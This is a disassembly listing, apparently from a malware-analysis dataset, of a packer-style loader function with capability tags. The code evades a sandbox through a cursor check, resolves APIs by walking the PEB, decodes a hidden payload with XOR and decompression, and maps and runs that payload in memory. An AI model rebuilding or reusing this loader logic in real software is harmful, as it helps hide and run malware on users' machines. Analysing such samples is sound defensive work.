Function at 0x351360
Capabilities:
Access peb ldr_data
Compress data via winapi
Encode data using xor
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push ebx
push esi
push edi
mov dword [ebp - 0x14], 0x350000
mov dword [ebp - 0x54], 0x14
push ecx
mov ecx, 0x127e
add ecx, 0x7dd
mov dword [ebp - 8], ecx
pop ecx
jmp 0x351461
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x35147c
cmp dword [ebp - 0x50], 1
jne 0x35147c
sub dword [ebp - 8], 0x7dd
push eax
push ebx
push 1
mov ebx, dword [ebp - 8]
add ebx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ebx
call dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
cmp eax, 0x1c
je 0x351496
jne 0x35147c
pop ebx
pop eax
jmp 0x35156f
push ecx
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x74], ecx
pop ecx
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ebx, dword [ecx + 0x18]
mov eax, dword [eax + 0x18]
mov esi, 0x35101c
lea edi, [ebp - 0x3c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], eax
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x3c]
push eax
push ebx
mov dword [ebp - 0x70], ebx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x35102c
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x58], eax
movsb byte es:[edi], byte [esi]
jmp 0x351693
lea ecx, [ebp - 0x2c]
push ecx
push ebx
call eax
mov esi, dword [ebp - 0x58]
push 0x35103c
push ebx
mov dword [ebp - 0x78], eax
call esi
push 0x35104c
push dword [ebp - 0x60]
mov dword [ebp - 0x1c], eax
call esi
push 0x351060
push ebx
mov dword [ebp - 0x60], eax
call esi
push 0x351070
push ebx
mov dword [ebp - 0x5c], eax
call esi
push ebx
mov ebx, 0x35127e
add ebx, 0x5f6
mov dword [ebp - 8], ebx
pop ebx
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
je 0x352708
cmp dword [ebp - 0x60], ecx
je 0x352708
push ecx
call eax
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], ecx
jmp 0x3517e2
mov edx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
add edx, eax
add edx, dword [ebx + 0x3c]
add ecx, eax
mov esi, dword [edx]
add esi, eax
mov eax, dword [ebx + 0x3c]
mov dword [ebp - 0x68], esi
lea esi, [ecx + eax + 8]
push 5
pop ecx
lea edi, [ebp - 0x98]
mov dword [ebp - 0x6c], edx
rep movsd dword es:[edi], dword [esi]
jmp 0x3518e2
mov ecx, dword [edx + 4]
push 4
push 0x3000
push 0x12
pop esi
xor edx, edx
mov eax, ecx
div esi
push 0xe
pop edi
xor edx, edx
mov esi, eax
mov eax, ecx
imul esi, esi, 0x23
div edi
add esi, ecx
imul eax, eax, 0x19
lea eax, [eax + esi + 0x1000]
push eax
xor esi, esi
push esi
call dword [ebp - 0x1c]
mov dword [ebp - 0x64], eax
cmp eax, esi
je 0x352708
jmp 0x3519f8
mov edi, dword [ebp - 0x6c]
mov eax, dword [edi + 4]
push 7
shr eax, 1
xor edx, edx
pop ecx
div ecx
mov dword [ebp - 0x40], 0x19
mov dword [ebp - 0x84], eax
test eax, eax
je 0x351a50
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x68]
push 7
add eax, esi
push eax
push dword [ebp - 0x18]
call fcn.003510b2
mov eax, dword [ebp - 0x40]
add esp, 0xc
dec dword [ebp - 0x40]
lea esi, [esi + eax + 7]
jne 0x351a47
mov dword [ebp - 0x40], 0x19
add dword [ebp - 0x18], 7
dec dword [ebp - 0x6c]
jne 0x351a21
mov eax, dword [edi + 4]
push 7
shr eax, 1
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x351a7a
mov eax, dword [ebp - 0x84]
add esi, dword [ebp - 0x68]
imul eax, eax, 7
add eax, dword [ebp - 0x64]
push edx
push esi
push eax
call fcn.003510b2
add esp, 0xc
jmp 0x351b51
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x7c]
mov ecx, dword [ebx + 0x3c]
lea esi, [eax + ecx + 0x1c]
mov ecx, dword [edi + 4]
mov eax, ecx
shr eax, 1
and ecx, 1
push 9
add eax, ecx
pop ecx
xor edx, edx
div ecx
push 0
pop ebx
mov dword [ebp - 0x40], 0x23
inc eax
je 0x351bbd
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x68], eax
push 9
lea eax, [ebx + esi]
push eax
mov eax, dword [edi + 4]
shr eax, 1
add eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x64]
push eax
call fcn.003510b2
mov eax, dword [ebp - 0x40]
add esp, 0xc
dec dword [ebp - 0x40]
lea ebx, [ebx + eax + 9]
jne 0x351bb4
mov dword [ebp - 0x40], 0x23
add dword [ebp - 0x18], 9
dec dword [ebp - 0x68]
jne 0x351b87
mov eax, dword [edi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
push 0
call dword [ebp - 0x1c]
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x352708
jmp 0x351cb3
xor eax, eax
cmp dword [edi + 4], esi
jbe 0x351cd5
mov dl, byte [ebp + eax - 0x98]
mov ecx, dword [ebp - 0x64]
xor byte [ecx + esi], dl
inc eax
cmp eax, 0x13
jbe 0x351ccf
xor eax, eax
inc esi
cmp esi, dword [edi + 4]
jb 0x351cba
push 0x351084
mov dword [ebp - 4], 3
call dword [ebp - 0x78]
push 0x351090
push eax
call dword [ebp - 0x58]
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x298]
push ecx
push 0
call eax
push 0x3510a4
push dword [ebp - 0x70]
call dword [ebp - 0x58]
call eax
mov dword [ebp - 0xc], eax
cmp eax, 0x7a
je 0x351d22
xor eax, eax
mov ecx, dword [ebp - 0x64]
xor byte [ecx + eax], 0x67
inc eax
cmp eax, 0x3e8
jl 0x351d13
push eax
mov eax, dword [0x353000]
pop eax
jmp 0x351e00
mov edi, dword [edi + 4]
lea eax, [ebp - 0x10]
push eax
push edi
imul edi, edi, 0xf
push dword [ebp - 0x64]
push edi
push ebx
push 2
call dword [ebp - 0x60]
jmp 0x351eec
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x352708
jmp 0x351fd1
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x352708
cmp dword [edi + 0xa0], 0
jne 0x351ff0
mov ecx, dword [edi + 0x34]
jmp 0x351ff2
xor ecx, ecx
jmp 0x3520c9
mov eax, 0x400000
cmp ecx, eax
jne 0x3520e3
lea ecx, [ebp - 0x7c]
push ecx
push 0x40
push dword [edi + 0x50]
mov esi, eax
push eax
call dword [ebp - 0x5c]
jmp 0x3520ff
mov eax, dword [edi + 0x50]
push 0x40
push 0x3000
add eax, 0x10
push eax
push ecx
call dword [ebp - 0x1c]
mov esi, eax
test esi, esi
je 0x352708
jmp 0x35210b
jmp 0x35211c
mov eax, dword [edi + 0x54]
add eax, dword [ebx + 0x3c]
push eax
push ebx
push esi
call fcn.003510b2
add esp, 0xc
jmp 0x352204
and dword [ebp - 0x1c], 0
xor eax, eax
cmp ax, word [edi + 6]
jae 0x352247
and dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x3c]
add eax, dword [ebp - 0x18]
lea eax, [eax + ebx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, ebx
push ecx
add eax, esi
push eax
call fcn.003510b2
movzx eax, word [edi + 6]
add dword [ebp - 0x18], 0x28
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jb 0x352213
mov eax, esi
sub eax, dword [edi + 0x34]
mov dword [ebp - 0x5c], eax
je 0x3522cc
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x3522cc
add eax, esi
lea ecx, [eax + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [edi + 0xa4]
add ecx, eax
mov dword [ebp - 0x70], ecx
jmp 0x3522c8
mov edx, dword [eax + 4]
and dword [ebp - 0x18], 0
sub edx, 8
test edx, 0xfffffffe
jbe 0x3522bf
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov ebx, 0x3000
cmp dx, bx
jne 0x3522a8
mov edx, dword [ebp - 0x5c]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x18]
add dword [ebp - 0x1c], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x18], ecx
jb 0x352282
mov ecx, dword [ebp - 0x70]
add eax, dword [eax + 4]
lea edx, [eax + 8]
mov dword [ebp - 0x1c], edx
cmp eax, ecx
jb 0x352270
jmp 0x3523a3
jmp 0x35247a
mov ebx, dword [edi + 0x80]
add ebx, esi
jmp 0x3525fb
mov eax, dword [ebx + 0xc]
add eax, esi
push eax
call dword [ebp - 0x78]
mov edx, eax
mov dword [ebp - 0x60], edx
test edx, edx
je 0x352708
cmp dword [ebx + 4], 0xffffffff
mov ecx, dword [ebx + 0x10]
mov dword [ebp - 0x18], ecx
jne 0x3524dd
mov eax, dword [ebx]
mov eax, dword [eax + esi]
add ecx, esi
mov dword [ebp - 0x5c], ecx
test eax, 0xf0000000
je 0x3524c1
and eax, 0xffff
jmp 0x3524c6
add eax, esi
add eax, 2
push eax
push edx
call dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
cmp dword [ecx], eax
je 0x3525f8
mov eax, dword [ebx]
mov dword [ebp - 0x18], eax
mov ecx, eax
jmp 0x3525b4
lea ebx, [ecx + esi]
jmp 0x3525f0
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x3525c9
and eax, 0xffff
jmp 0x3525ce
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x60]
call dword [ebp - 0x58]
mov dword [ebx], eax
test eax, eax
je 0x352708
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x10]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x3525b9
mov ebx, dword [ebp - 0x1c]
add ebx, 0x14
cmp dword [ebx], 0
mov dword [ebp - 0x1c], ebx
jne 0x352487
mov eax, dword [ebp - 0x74]
mov dword [eax + 8], esi
jmp 0x3526e4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov ecx, dword [edi + 0x28]
add ecx, esi
mov dword [eax + 0x1c], ecx
mov eax, dword [edi + 0x28]
add eax, esi
mov dword [ebp - 0x5c], eax
call dword [ebp - 0x5c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10